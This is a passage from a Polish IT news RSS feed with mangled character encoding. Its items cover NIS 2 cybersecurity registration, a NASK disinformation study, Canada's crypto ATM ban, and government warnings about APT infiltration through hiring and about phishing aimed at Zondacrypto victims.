Kolejna czynnoand#347;and#263; to zand#322;oand#380;enie wniosku w Wykazie KSC. Odpowiada za to kierownik podmiotu lub osoba przez niego upowaand#380;niona. W tym celu naleand#380;y kliknand#261;and#263; pole and#8222;Wpisz nowy podmiotand#8221; i wypeand#322;niand#263; formularz wniosku. Jak objaand#347;niand#322; resort cyfryzacji, formularz skand#322;ada siand#281; z kilku sekcji i trzeba w nim wpisaand#263; m.in. dane identyfikacyjne podmiotu, w tym NIP, REGON i nazwand#281;; dane adresowe i kontaktowe. Po wypeand#322;nieniu i zatwierdzeniu formularza, naleand#380;y kliknand#261;and#263; and#8222;Przejdand#378; do podpisuand#8221; i elektronicznie podpisaand#263; wniosek. Moand#380;na to zrobiand#263; przez Profil Zaufany lub aplikacjand#281; zewnand#281;trznand#261;. Jeand#347;li w zakand#322;adce and#8222;Lista wnioskand#243;wand#8221; pojawi siand#281; komunikat and#8222;Zatwierdzonyand#8221;, oznacza to, and#380;e wpis zostaand#322; dokonany. Uand#380;ytkownik otrzyma teand#380; potwierdzenie zand#322;oand#380;enia wniosku na adres e-mail.
and#160;
Cyberbezpieczeand#324;stwo: nowe wymogi rzand#261;du
Nowelizacja ustawy o krajowym systemie cyberbezpieczeand#324;stwa, wdroand#380;yand#322;a w Polsce unijnand#261; dyrektywand#281; NIS 2 ws. cyberbezpieczeand#324;stwa oraz Toolbox 5G, czyli unijny dokument dotyczand#261;cy bezpieczeand#324;stwa sieci 5G. Nowela przewiduje, and#380;e organizacje z sektorand#243;w kluczowych i waand#380;nych band#281;dand#261; miaand#322;y szereg nowych obowiand#261;zkand#243;w zwiand#261;zanych z cyberbezpieczeand#324;stwem, w tym m.in. wdroand#380;enie systemu zarzand#261;dzania bezpieczeand#324;stwem informacji, regularne ocenianie ryzyka wystand#261;pienia incydentand#243;w i zarzand#261;dzanie incydentami. Do nowych obowiand#261;zkand#243;w naleand#380;y rand#243;wnieand#380; wdroand#380;enie and#347;rodkand#243;w technicznych i organizacyjnych proporcjonalnych do oszacowanego ryzyka.





Nowymi przepisami objand#281;tych jest czand#281;and#347;and#263; podmiotand#243;w publicznych, w tym urzand#281;dy, samorzand#261;dy, szkoand#322;y, szpitale, instytuty badawcze i Polska Agencja Prasowa.
Nowela zakand#322;ada takand#380;e, and#380;e podmioty kluczowe i waand#380;ne band#281;dand#261; przekazywaand#263; sobie nawzajem informacje o incydentach, cyberzagroand#380;eniach i podatnoand#347;ciach za pomocand#261; systemu s46. Korzystanie z tego systemu band#281;dzie moand#380;liwe od 12 czerwca br. - podaand#322; resort cyfryzacji.
Podmioty kluczowe i waand#380;ne majand#261; czas na dostosowanie siand#281; do nowych przepisand#243;w do 3 kwietnia 2027. Za niewywiand#261;zanie siand#281; z nowych obowiand#261;zkand#243;w przedsiand#281;biorcom groand#380;and#261; kary finansowe, ktand#243;re band#281;dand#261; mogand#322;y byand#263; nakand#322;adane od 3 kwietnia 2028 r.and#160;
and#160;
and#378;rodand#322;o PAPand#160; 7 maja 202 6mbl/ mick/ ]]></description>
		</item><item>
			<title><![CDATA[ Paradoks polskiego spiskowca. "Algorytmy i krótkie wideo to pułapka" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1697</link>
			<description><![CDATA[ Mand#322;ody wiek, wyand#380;sze wyksztaand#322;cenie czy and#380;ycie w duand#380;ym mieand#347;cie nie gwarantujand#261; odpornoand#347;ci na dezinformacjand#281; - wynika z opublikowanego raportu and#8222;Paradoks spiskowyand#8221;, opracowanego przez Naukowand#261; i Akademickand#261; Sieand#263; Komputerowand#261; - Paand#324;stwowy Instytut Badawczy.
and#160;




and#160;

fot. alexkich /and#160;/and#160;Shutterstock


and#160;
and#160;
Raport and#8222;Paradoks spiskowy. O land#281;ku przed innymi, potrzebie silnego paand#324;stwa i podatnoand#347;ci na narracje dezinformacyjneand#8221; zaprezentowano w poniedziaand#322;ek w Warszawie.
and#160;
Mand#322;odzi wierzand#261; w spiski czand#281;and#347;ciej niand#380; seniorzy
Z badania przeprowadzonego przez NASK na grupie 3,6 tys.and#160;Polakand#243;w wynika, and#380;e miejsce zamieszkania (duand#380;e miasto vs. wieand#347;) nie decyduje o podatnoand#347;ci na teorie spiskowe. Podobnie jest w przypadku poziomu wyksztaand#322;cenia. Dyplom wyand#380;szej uczelni nie jest gwarantem samym w sobie, bardziej istotna jest wiedza faktograficzna i umiejand#281;tnoand#347;and#263; weryfikowania informacji - podczas badania wiand#281;kszand#261; odpornoand#347;and#263; wykazaand#322;y osoby, ktand#243;re udzieliand#322;y wiand#281;kszej liczby poprawnych odpowiedzi w teand#347;cie wiedzy. Analiza danych pokazuje teand#380;, and#380;e rand#243;and#380;nice miand#281;dzy kobietami a mand#281;and#380;czyznami sand#261; praktycznie nieistotne.

Jeand#347;li sobie wyobraand#380;amy, and#380;e nas nie dotyczand#261; te teorie spiskowe, bo jesteand#347;my z wielkiego miasta i wyksztaand#322;ceni, to nieprawda, dotyczand#261; nas w tym samym stopniu - powiedziaand#322;a kierowniczka zespoand#322;u badaand#324; nad cyberprzestrzeniand#261; i cyberbezpieczeand#324;stwem w NASK Agnieszka and#321;adna podczas konferencji, na ktand#243;rej zaprezentowano gand#322;and#243;wne zaand#322;oand#380;enia raportu




and#160;



Dane przeczand#261; teand#380; tezie, and#380;e najand#322;atwiej w dezinformacjand#281; wierzand#261; seniorzy - jest wrand#281;cz przeciwnie, to osoby starsze wykazujand#261; najwiand#281;kszand#261; odpornoand#347;and#263; na narracje spiskowe. Mniej odporni sand#261; mand#322;odzi doroand#347;li w przedziaand#322;ach wiekowych 30-39 lat i 18-29 lat.
and#160;
Boimy siand#281; and#8222;obcychand#8221;, ale and#380;and#261;damy opieki od silnego paand#324;stwa
Zdaniem autorand#243;w raportu wierze w teorie spiskowe sprzyja and#347;wiatopogland#261;d,and#160;zwand#322;aszcza ksenofobia, rozumiana jako land#281;k przed czymand#347; zewnand#281;trznym. - Jest ona najsilniejszym predyktorem, ktand#243;ry sprzyja w wierze, and#380;e and#347;wiatem rzand#261;dzand#261; jakieand#347; spiski, w ktand#243;re zamieszane sand#261; elity band#261;dand#378; instytucje, czy paand#324;stwa i ktand#243;re powodujand#261; pewne zdarzenia - podkreand#347;liand#322;a and#321;adna.
Dodaand#322;a, and#380;e istotnym czynnikiem sand#261; teand#380; radykalne pogland#261;dy - bez znaczenia, czy sand#261; one prawicowe czy lewicowe. Najbardziej odporne sand#261; natomiast osoby o umiarkowanych pogland#261;dach, szukajand#261;ce kompromisu.
Przy okazji badania zidentyfikowanoand#160;zjawisko and#8222;paradoksu spiskowegoand#8221;, ktand#243;ry and#322;and#261;czy prawicowoand#347;and#263; kulturowand#261; (m.in. postawy ksenofobiczne) z lewicowoand#347;ciand#261; ekonomicznand#261; (tzn. oczekiwaniami, and#380;e paand#324;stwo podejmie dziaand#322;ania i otoczy swoich obywateli opiekand#261;).
- W Polsce - i to nas wyrand#243;and#380;nia - mamy paradoks and#8222;lokalnego polskiego spiskowcaand#8221;, ktand#243;ry z jednej strony ma nastawienie ksenofobiczne i jest dosyand#263; radykalny w swoich pogland#261;dach, spodziewa siand#281;, and#380;e inni, obcy (...) groand#380;and#261; nam i majand#261; wobec nas niecne plany, ale nie prowadzi to do takiej postawy, ktand#243;ra oparta byand#322;aby na niezaleand#380;noand#347;ci, na wycofaniu siand#281; (...). Wrand#281;cz przeciwnie, takie osoby chcand#261;, and#380;eby silne instytucje publiczne interweniowaand#322;y zarand#243;wno w kwestiach paand#324;stwowych, prywatnych jak i gospodarczych - wyjaand#347;niand#322; dyrektor biura analiz i badaand#324; NASK Filip Konopczyand#324;ski.
and#160;
Media gand#322;and#243;wnego nurtu lepiej chroniand#261; przed dezinformacjand#261;
Nie bez znaczenia jest tzw. rand#243;and#380;norodna dieta medialna. Z badania wynika, and#380;e osoby, ktand#243;re siand#281;gajand#261; po informacje z bardzo rand#243;and#380;norodnych and#378;rand#243;deand#322; - pod wzgland#281;dem wielkoand#347;ci, profilu politycznego czy pochodzenia (lokalne, Polskie lub zagraniczne) - nie sand#261; bardziej odporne na dezinformacjand#281;. Wiand#281;kszand#261; odpornoand#347;and#263; wykazujand#261; natomiast osoby, ktand#243;re korzystajand#261; z mediand#243;w and#8222;gand#322;and#243;wnego nurtuand#8221; - duand#380;ych portali, telewizji, stacji radiowych oraz prasy.





Wpand#322;yw na wiarand#281; w spiski majand#261; teand#380; media spoand#322;ecznoand#347;ciowe - najwiand#281;kszy te, ktand#243;re bazujand#261; na krand#243;tkich materiaand#322;ach wideo, podawanych przez algorytmy. Bardziej odporni sand#261; natomiast uand#380;ytkownicy serwisand#243;w tekstowych i relacyjnych.
and#160;
Rzadko zdarza siand#281;, and#380;e ktoand#347; wierzy tylko w jednand#261; teoriand#281; spiskowand#261;and#160;- badanie pokazuje, and#380;e teorie spiskowe funkcjonujand#261; na zasadzie systemu naczyand#324; poand#322;and#261;czonych, a akceptacja jednej narracji spiskowej wspand#243;and#322;wystand#281;puje z gotowoand#347;ciand#261; do wiary w kolejne.
Aby nie byand#263; podatnym na dezinformacjand#281; naleand#380;y, zdaniem ekspertand#243;w, sprawdzaand#263; informacje w rzetelnych and#378;rand#243;dand#322;ach, zaufaand#263; nauce, byand#263; samokrytycznym, a takand#380;e zwracaand#263; uwagand#281; na to, czy komunikaty sand#261; angaand#380;ujand#261;ce emocjonalnie i czy ktoand#347; moand#380;e mieand#263; interes w tym, and#380;e band#281;dziemy myand#347;leli w konkretny sposand#243;b.
Badania zrealizowano metodand#261; CAWI (Computer Assisted Web Interview) na ogand#243;lnopolskich prand#243;bach, reprezentatywnych pod wzgland#281;dem pand#322;ci, wieku i wielkoand#347;ci miejscowoand#347;ci zamieszkania. Zastosowano losowo-kwotowy doband#243;r prand#243;by (z wykorzystaniem panelu badawczego), co zapewnia odwzorowanie struktury demograficznej populacji mieszkaand#324;cand#243;w Polski korzystajand#261;cych z internetu. W celu uchwycenia zmian czasowych, w raporcie zintegrowano dane z lat 2024 i 2025 roku. W pierwszej odsand#322;onie badania wziand#281;and#322;o udziaand#322; 3,6 tys. osand#243;b powyand#380;ej 15. roku and#380;ycia. Druga zostaand#322;a zawand#281;and#380;ona do tysiand#261;ca respondentand#243;w, powyand#380;ej 18. r.and#380;.and#160;
and#160;
and#160;





and#378;rodand#322;o PAP 1 maja 2026 ksc/ agz/ ]]></description>
		</item><item>
			<title><![CDATA[ Kanada delegalizuje kryptowalutowe bankomaty. Koniec z praniem brudnych pieniędzy? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1696</link>
			<description><![CDATA[ Rzand#261;d Kanady zakaand#380;e uand#380;ywania bankomatand#243;w, ktand#243;re umoand#380;liwiajand#261; kupowanie kryptowalut i lokowanie ich w wirtualnych portfelach. Chodzi m.in. o uniemoand#380;liwienie przestand#281;pcom prania pieniand#281;dzy.
and#160;




and#160;

fot. Vernon Yuen, Staff / Zuma Press / Forum /and#160;/and#160;FORUM


and#160;
and#160;
W Kanadzie jest ok. 4 tys. bankomatand#243;w umoand#380;liwiajand#261;cych kupno kryptowalut, czyli ponad 10 proc. wszystkich takich bankomatand#243;w na and#347;wiecie, co oznacza najwiand#281;kszand#261; liczband#281; kryptowalutowych bankomatand#243;w w przeliczeniu na mieszkaand#324;ca and#8211; podaand#322; w and#347;rodand#281; publiczny francuskojand#281;zyczny nadawca Radio-Canada.



and#160;



Rzand#261;d uznaand#322; bankomaty kryptowalutowe za and#8222;jeden z gand#322;and#243;wnych and#347;rodkand#243;w uand#380;ywanych przez oszustand#243;w do wyand#322;udzania (pieniand#281;dzy and#8211; PAP) od ludzi, a takand#380;e przez przestand#281;pcand#243;w do wprowadzania do systemu monetarnych and#347;rodkand#243;w pochodzand#261;cych z przestand#281;pstwand#8221; and#8211; napisano w informacji o bieand#380;and#261;cej sytuacji budand#380;etu, ktand#243;rand#261; rzand#261;d przedand#322;oand#380;yand#322; we wtorek w parlamencie.
and#160;
Ani federalny system gwarancji depozytand#243;w, czyli Canada Deposit Insurance Corporation, ani naleand#380;and#261;ce do prowincji systemy nie zabezpieczajand#261; w Kanadzie inwestycji w kryptowaluty i rzand#261;d ostrzega, and#380;e jeand#347;li dana platforma czy oferujand#261;cy portfele kryptowalut zbankrutuje, nie ma and#380;adnej moand#380;liwoand#347;ci wsparcia dla inwestorand#243;w tracand#261;cych pieniand#261;dze.
Wspand#243;lne dziennikarskie and#347;ledztwo Radio-Canada i CBC wykazaand#322;o, and#380;e za poand#347;rednictwem bankomatand#243;w moand#380;na przesyand#322;aand#263; pieniand#261;dze do portfela kryptowalutowego, takand#380;e poza Kanadand#261;, bez koniecznoand#347;ci posiadania rachunku bankowego, a do mniejszych transakcji, poniand#380;ej 1 tys. dolarand#243;w kanadyjskich wystarczy numer telefonu. Podmioty poand#347;redniczand#261;ce w realizowaniu tych transakcji nie poddajand#261; ich and#380;adnemu nadzorowi.

















Minister finansand#243;w Franand#231;ois-Philippe Champagne informowaand#322; w ub.r., and#380;e rzand#261;d analizuje informacje dotyczand#261;ce inwestycji w kryptowaluty.
Media przypomniaand#322;y, and#380;e w Wielkiej Brytanii wprowadzono w 2021 r. licencje na ustawianie bankomatand#243;w kryptowalutowych, ale od tego czasu nie wydano and#380;adnej takiej licencji.
Australia wprowadziand#322;a w ub.r. dzienne limity na transakcje, a Nowa Zelandia zamierza zakazaand#263; bankomatand#243;w z kryptowalutami.
and#160;
and#378;rodand#322;o PAP 30 kwiecieand#324; 2026 z Toronto Anna Lach(PAP) ]]></description>
		</item><item>
			<title><![CDATA[ Hakerzy wchodzą przez HR. Gawkowski: Służby zidentyfikowały nową metodę infiltracji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1695</link>
			<description><![CDATA[ Sand#322;uand#380;by zidentyfikowaand#322;y grupy cyberprzestand#281;pcand#243;w, ktand#243;rzy biorand#261; udziaand#322; w rekrutacjach i po zatrudnieniu w organizacji infiltrujand#261; jand#261; oraz wykradajand#261; dane - ostrzegand#322; w and#347;rodand#281; Peand#322;nomocnik Rzand#261;du ds. Cyberbezpieczeand#324;stwa Krzysztof Gawkowski. Zaleciand#322; dziaand#322;om HR m.in. rygorystyczne weryfikowanie kandydatand#243;w.



and#160;




and#160;

fot. KPRM / /and#160;Kancelaria Prezesa Rady Ministrand#243;w  


Jak wynika z komunikatu opublikowanego na stronie Ministerstwa Cyfryzacji (MC), sand#322;uand#380;by zidentyfikowaand#322;y nowe sposoby dziaand#322;ania cyberprzestand#281;pcand#243;w, ktand#243;rzy dziaand#322;ajand#261; w ramach tzw. grup APT (Advanced Persistent Threat).
Grupy tego typu specjalizujand#261; siand#281; w dand#322;ugofalowych i zaawansowanych cyberatakach i czand#281;sto sand#261; powiand#261;zane ze sand#322;uand#380;bami wrogich paand#324;stw - wyjaand#347;niand#322; resort. Wskazaand#322;, and#380;e zidentyfikowane ataki grup APT sand#261; skierowane wobec podmiotand#243;w krajowego systemu cyberbezpieczeand#324;stwa (KSC), czyli firm sektorand#243;w m.in. energii, transportu, ochrony zdrowia, bankowoand#347;ci, zaopatrzenia w wodand#281;, zarzand#261;dzania ICT, czy produkcji i dystrybucji and#380;ywnoand#347;ci. Do KSC naleand#380;y teand#380; czand#281;and#347;and#263; podmiotand#243;w publicznych.
and#160;



and#160;



Celem cyberprzestand#281;pcand#243;w jest przenikniand#281;cie do struktur paand#324;stwa lub firmy poprzez rekrutacjand#281; do niej, a nastand#281;pnie kradzieand#380; danych o szczegand#243;lnym znaczeniu dla bezpieczeand#324;stwa paand#324;stwa - podkreand#347;liand#322; w serwisie X wicepremier, minister cyfryzacji i Peand#322;nomocnik Rzand#261;du Do Spraw Cyberbezpieczeand#324;stwa Krzysztof Gawkowski. and#8222;To wyrafinowane formy cyfrowych atakand#243;w. Procesy rekrutacji staand#322;y siand#281; narzand#281;dziem infiltracjiand#8221; - zaznaczyand#322;.
and#160;
Zaleciand#322; dziaand#322;om IT oraz HR podmiotand#243;w KSC, a takand#380;e firmom zajmujand#261;cym siand#281; rekrutacjand#261; do tych podmiotand#243;w, zachowanie szczegand#243;lnej ostroand#380;noand#347;ci oraz wprowadzenie rygorystycznych zasad weryfikacji kandydatand#243;w do pracy. Gawkowski zwrand#243;ciand#322; uwagand#281;, and#380;e cyberprzestand#281;pcy mogand#261; korzystaand#263; z AI, by podszyand#263; siand#281; pod kandydata do pracy, np. specjalistand#281; IT czy badacza.

Wand#347;rand#243;d zasad dla HR wicepremier wymieniand#322; sprawdzenie historii zatrudnienia kandydata bezpoand#347;rednio u poprzednich pracodawcand#243;w, a nie tylko na podstawie CV czy profilu w serwisie LinkedIn. Osoby odpowiedzialne za rekrutacjand#281; powinny teand#380; wymagaand#263; od kandydatand#243;w, by prowadzili wideorozmowy z wand#322;and#261;czonand#261; kamerand#261;. Rekruter powinien zwracaand#263; uwagand#281; na nienaturalne pauzy, opand#243;and#378;nienia, czy wyciszenia dand#378;wiand#281;ku w momentach, gdy kandydat powinien mand#243;wiand#263;.
Naleand#380;y teand#380; weryfikowaand#263; domeny linkand#243;w do wideokonferencji. Jak podkreand#347;liand#322; peand#322;nomocnik rzand#261;du, prawidand#322;owe adresy dla popularnych narzand#281;dzi do wideokonferencji, takich jak Zoom i Teams, to odpowiednio zoom.us i teams.microsoft.com. Kaand#380;da inna domena, np. micrusoft[.]us, stanowi sygnaand#322; ostrzegawczy - zaznaczyand#322;.
Kolejnym sygnaand#322;em powinna byand#263; puand#322;apka and#8222;technicznych problemand#243;wand#8221;, czyli sytuacja, w ktand#243;rej podczas rozmowy kandydat zgand#322;asza band#322;and#281;dy dand#378;wiand#281;ku i prosi o zainstalowanie and#8222;poprawkiand#8221; lub and#8222;aktualizacjiand#8221; - wskazaand#322; Gawkowski. Dodaand#322;, and#380;e nie naleand#380;y instalowaand#263; aplikacji dystrybuowanych poza oficjalnymi kanaand#322;ami, na proand#347;band#281; kandydatand#243;w czy nowo poznanych osand#243;b ze and#347;rodowiska biznesowego.
Po przekazaniu sprzand#281;tu nowemu pracownikowi naleand#380;y sprawdziand#263;, czy faktycznie posiada komputer, czy teand#380; operuje zdalnie z innego kontynentu. Trzeba poprosiand#263; go o odczytanie numeru seryjnego urzand#261;dzenia, co potwierdzi fizyczny dostand#281;p do sprzand#281;tu. Nowo zatrudnione osoby powinny otrzymywaand#263; uprawnienia stopniowo - zaznaczyand#322; Gawkowski. Dodaand#322;, and#380;e kaand#380;da prand#243;ba nieuzasadnionej eskalacji dostand#281;pu musi byand#263; monitorowana.





Jeand#347;li kandydat lub pracownik wydaje siand#281; podejrzany organizacja powinna niezwand#322;ocznie zablokowaand#263; jego konto i dostand#281;p do wszystkich systemand#243;w. Nastand#281;pnie naleand#380;y przeprowadziand#263; analizand#281; zachowania uand#380;ytkownika, m.in. sprawdziand#263; historiand#281; logowaand#324; i uand#380;ywane narzand#281;dzia.
and#8222;Wszelkie incydenty i podejrzenia muszand#261; byand#263; niezwand#322;ocznie zgand#322;aszane do wand#322;aand#347;ciwych zespoand#322;and#243;w reagowania: CSIRT NASK, CSIRT GOV lub CSIRT MONand#8221; - podkreand#347;liand#322; Gawkowski. Zaznaczyand#322;, and#380;e Ministerstwo Cyfryzacji oraz eksperci CSIRT KNF monitorujand#261; sytuacjand#281; i podejmujand#261; dziaand#322;ania ochronne.
Ustawa o Krajowym Systemie Cyberbezpieczeand#324;stwa z 2018 r. ustanowiand#322;a trzy krajowe Zespoand#322;y Reagowania na Incydenty Bezpieczeand#324;stwa Komputerowego: CSIRT NASK, CSIRT GOV oraz CSIRT MON.
Rekomendacja Gawkowskiego zostaand#322;a wydana takand#380;e na podstawie ustawy o KSC. Wedand#322;ug znowelizowanych w br. przepisand#243;w krajowym systemem cyberbezpieczeand#324;stwa objand#281;te sand#261; m.in. sektory: energii, transportu, bankowoand#347;ci, uzdatniania wody, odprowadzania and#347;ciekand#243;w, ochrony zdrowia, przestrzeni kosmicznej, usand#322;ug pocztowych, produkcji i dystrybucji, w tym chemikaliand#243;w i and#380;ywnoand#347;ci. Do sektorand#243;w KSC zaliczono teand#380; czand#281;and#347;and#263; podmiotand#243;w publicznych, w tym urzand#281;dy, samorzand#261;dy, szkoand#322;y, szpitale, instytuty badawcze i Polskand#261; Agencjand#281; Prasowand#261;.and#160;
and#160;





and#378;rodand#322;oand#160;Bankier.pl 29 kwiecieand#324; 2026 mbl/ mmu/ ]]></description>
		</item><item>
			<title><![CDATA[ Gdzie są miliardy z Zondacrypto? Hakerzy wykorzystują chaos, by polować na poszkodowanych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1694</link>
			<description><![CDATA[ Cyberprzestand#281;pcy polujand#261; na poszkodowanych przez Zondacrypto, podszywajand#261; siand#281; pod instytucje lub firmy i oferujand#261; rzekomand#261; pomoc w odzyskaniu pieniand#281;dzy - ostrzegand#322; we wtorek Peand#322;nomocnik Rzand#261;du ds. Cyberbezpieczeand#324;stwa Krzysztof Gawkowski. Zaleciand#322;, by nie przekazywaand#263; m.in. danych finansowych osobom trzecim.
and#160;




and#160;

fot. zondacrypto Polska /and#160;/and#160;Facebook   


Peand#322;nomocnik Rzand#261;du do Spraw Cyberbezpieczeand#324;stwa, wicepremier i minister cyfryzacji wskazaand#322; w komunikacie na stronie resortu, and#380;e zaobserwowano kampanie phishingowe, ktand#243;re polegajand#261; na podszywaniu siand#281; pod instytucje publiczne,and#160;kancelarie prawne lub firmy oferujand#261;ce pomoc w odzyskaniu and#347;rodkand#243;w zainwestowanych na gieand#322;dzie kryptowalut Zondacrypto. Komunikat powstaand#322; we wspand#243;and#322;pracy Ministerstwa Cyfryzacji (MC) i CSIRT KNF.




and#160;



Jak podano, celem cyberprzestand#281;pcand#243;w moand#380;e byand#263; wyand#322;udzenie danych osobowych lub umoand#380;liwiajand#261;cych dostand#281;p do bankowoand#347;ci elektronicznej, czy teand#380; nakand#322;onienie do wykonania przelewu. Oszuand#347;ci mogand#261; teand#380; prand#243;bowaand#263; skand#322;oniand#263; poszkodowanego do podjand#281;cia dziaand#322;aand#324; zagraand#380;ajand#261;cych bezpieczeand#324;stwu kont, and#347;rodkand#243;w finansowych lub urzand#261;dzenia, tj. laptopa, smartfonu czy tabletu.
and#160;

W niektand#243;rych przypadkach do wiadomoand#347;ci przesand#322;anej osobie poszkodowanej mogand#261; byand#263; doand#322;and#261;czane zand#322;oand#347;liwe pliki, ktand#243;rych uruchomienie moand#380;e naraziand#263; uand#380;ytkownika na utratand#281; kontroli nad urzand#261;dzeniem lub dostand#281;pem do poufnych informacji - ostrzegand#322; Gawkowski.

and#160;
"Hieny" wokand#243;and#322; afery Zondacrypto. Rzand#261;d wydaje pilne ostrzeand#380;enie
Zaleciand#322; zachowanie szczegand#243;lnej ostroand#380;noand#347;ci w internecie, zwand#322;aszcza w przypadku otrzymywania niepokojand#261;cych lub niestandardowych wiadomoand#347;ci e-mail, SMS i w komunikatorach oraz wobec komunikatand#243;w w mediach spoand#322;ecznoand#347;ciowych. and#8222;Nie naleand#380;y klikaand#263; w linki, ani otwieraand#263; zaand#322;and#261;cznikand#243;w pochodzand#261;cych z podejrzanych wiadomoand#347;ci. Nie naleand#380;y rand#243;wnieand#380; przekazywaand#263; danych osobowych, danych logowania, kodand#243;w autoryzacyjnych ani informacji finansowych osobom trzecimand#8221; - podkreand#347;liand#322; wicepremier.
W przypadku otrzymania podejrzanej wiadomoand#347;ci naleand#380;y zweryfikowaand#263; jej autentycznoand#347;and#263;, poprzez skorzystanie z oficjalnych kanaand#322;and#243;w kontaktu do danej instytucji lub firmy. W przypadku klikniand#281;cia w link, otwarcia zaand#322;and#261;cznika, czy podania danych, naleand#380;y niezwand#322;ocznie zgand#322;osiand#263; incydent do wand#322;aand#347;ciwego zespoand#322;u CSIRT NASK.
Moand#380;na to zrobiand#263; za poand#347;rednictwem formularza dostand#281;pnego na stronie incydent.cert.pl oraz w usand#322;udze and#8222;Bezpiecznie w sieciand#8221; w aplikacji mObywatel. Podejrzane wiadomoand#347;ci SMS zawierajand#261;ce linki moand#380;na rand#243;wnieand#380; przesand#322;aand#263; na bezpand#322;atny numer 8080.
W przypadku podejrzenia, and#380;e padand#322;o siand#281; ofiarand#261; przestand#281;pstwa naleand#380;y to zgand#322;osiand#263; Policji lub Prokuraturze - wskazaand#322; Gawkowski.
W komunikacie przypomniano podstawowe zasady cyberbezpieczeand#324;stwa i higieny cyfrowej, ktand#243;re pomogand#261; ochroniand#263; siand#281; przed kradzieand#380;and#261; danych osobowych i and#347;rodkand#243;w finansowych. Wand#347;rand#243;d nich znalazand#322;o siand#281; m.in. zastrzeand#380;enie numeru PESEL w mObywatelu, regularne sprawdzanie wyciekand#243;w na portalu BezpieczneDane.gov.pl oraz stosowanie dwuskand#322;adnikowego uwierzytelniania. Przypomniano teand#380; o regularnym aktualizowaniu oprogramowania na urzand#261;dzeniach. Zaznaczono, and#380;e na komputerze i urzand#261;dzeniach mobilnych naleand#380;y instalowaand#263; tylko aplikacje ze sprawdzonych and#378;rand#243;deand#322;.
Wand#347;rand#243;d zasad cyberbezpieczeand#324;stwa wymieniono teand#380; ustawienie moand#380;liwie niskich limitand#243;w pand#322;atnoand#347;ci dla kart pand#322;atniczych, szybkich przelewand#243;w (np. BLIK) i dla przelewand#243;w przez internet.





and#160;
Upadek gieand#322;dy Zondacrypto
Informacje o tym, and#380;e Zondacrypto - pochodzand#261;ca z Polski lecz zarejestrowana w Estonii gieand#322;da kryptowalut - moand#380;e mieand#263; powaand#380;ne problemy z pand#322;ynnoand#347;ciand#261;, pojawiand#322;y siand#281; na poczand#261;tku kwietnia. Analiza firmy Recoveris.io, ktand#243;rand#261; otrzymaand#322;y money.pl i Wirtualna Polska, ujawniand#322;a spadek bitcoinand#243;w na gorand#261;cych portfelach platformy o 99 proc.
Pod koniec marca coraz wiand#281;cej uand#380;ytkownikand#243;w gieand#322;dy zaczand#281;and#322;o zgand#322;aszaand#263; siand#281;gajand#261;ce wielu dni opand#243;and#378;nienia w wypand#322;acie and#347;rodkand#243;w. Prezes Zondacrypto Przemysand#322;aw Kral tand#322;umaczyand#322; to problemami technicznym, jednak jak potwierdzali pand#243;and#378;niej pracownicy gieand#322;dy, ktand#243;rzy rozmawiali z mediami, nic takiego nie miaand#322;o miejsca.
W swoim ostatnim oand#347;wiadczeniu opublikowanym na platformie X Kral przyznaand#322;, and#380;e gieand#322;da od lat nie posiadaand#322;a dostand#281;pu do 4500 BTC majand#261;cych stanowiand#263; jej rezerwy. Istniejand#261; jednak duand#380;e szanse, and#380;e wskazane przez niego and#347;rodki, tak naprawdand#281; nigdy nie naleand#380;aand#322;y do gieand#322;dy ani jej zaand#322;oand#380;yciela - Sylwestra Suszka, ktand#243;ry zaginand#261;and#322; w marcu 2022 roku i wedand#322;ug wielu osand#243;b nie and#380;yje.
Wedand#322;ug doniesieand#324; WP i Onetu, obecny prezes Zondacrypto miaand#322; opuand#347;ciand#263; Monako, w ktand#243;rym and#380;yand#322; przez ostatnie lata, nie pojawiajand#261;c siand#281; w Polsce i polecieand#263; do Izraela, ktand#243;rego obywatelstwo otrzymaand#322; w ubiegand#322;ym roku.





and#160;
Zondacrypto i rosyjskie powiand#261;zania
Gazeta Wyborcza poinformowaand#322;a w poniedziaand#322;ek, powoand#322;ujand#261;c siand#281; na informacje majand#261;ce pochodziand#263; z tajnej notatki ABW, and#380;e kontroland#281; nad gieand#322;dand#261; Zondacrypto w 2018 roku miaand#322;a przejand#261;and#263; jedna z najgroand#378;niejszych rosyjskich grup przestand#281;pczych - mafia tambowska, powiand#261;zana z politykami partii Wand#322;adimira Putina.
Wand#261;tpliwoand#347;ci co do tych ustaleand#324; zgand#322;aszaand#322; jednak dziennikarz WP i money.pl Szymon Jadczak, ktand#243;ry w tym samym dniu przedstawiand#322; wand#322;asnand#261; analizand#281; rosyjskich powiand#261;zaand#324; spand#243;and#322;ki. Wedand#322;ug jego artykuand#322;u miaand#322;y one pojawiand#263; siand#281; dopiero po odejand#347;ciu z gieand#322;dy Sylwestra Suszka. Obecnand#261; Zondacryptand#281;and#160;ma zaand#347; kontrolowaand#263; szwajcarski holding zarzand#261;dzany przez kancelariand#281; Dietera Neuperta, okreand#347;lanego mianem "adwokata oligarchand#243;wand#8221;, ktand#243;ry wspand#243;and#322;pracowaand#322; z prokremlowskimi miliarderami i rosyjskimi resortami.
17 kwietnia Prokuratura Regionalna w Katowicach wszczand#281;and#322;a and#347;ledztwo w sprawie moand#380;liwego oszustwa klientand#243;w gieand#322;dy Zondacrypto oraz prania brudnych pieniand#281;dzy. Prokurator krajowy Dariusz Korneluk podkreand#347;liand#322; we wtorek, and#380;e and#8222;and#380;aden wand#261;tek, and#380;adna hipoteza w tym postand#281;powaniu nie zostanie pominiand#281;ta, tak samo jak and#347;lad rosyjski, wand#261;tek grup przestand#281;pczychand#8221;.and#160;
- Straty wszystkich uand#380;ytkownikand#243;w Zondacrypto moand#380;na spokojnie szacowaand#263; w miliardach zand#322;otych - mand#243;wi w rozmowie z Forbesem Marcin Zarakowski, prezes i wspand#243;and#322;zaand#322;oand#380;yciel Recoveris.





and#160;
and#378;rodand#322;o Bankier.pland#160;26 kwiecieand#324; 2026 oprac. mbl/mmu/ mm

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Routery i lodówki używane przez cyberwywiad Chin do groźnych ataków ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1693</link>
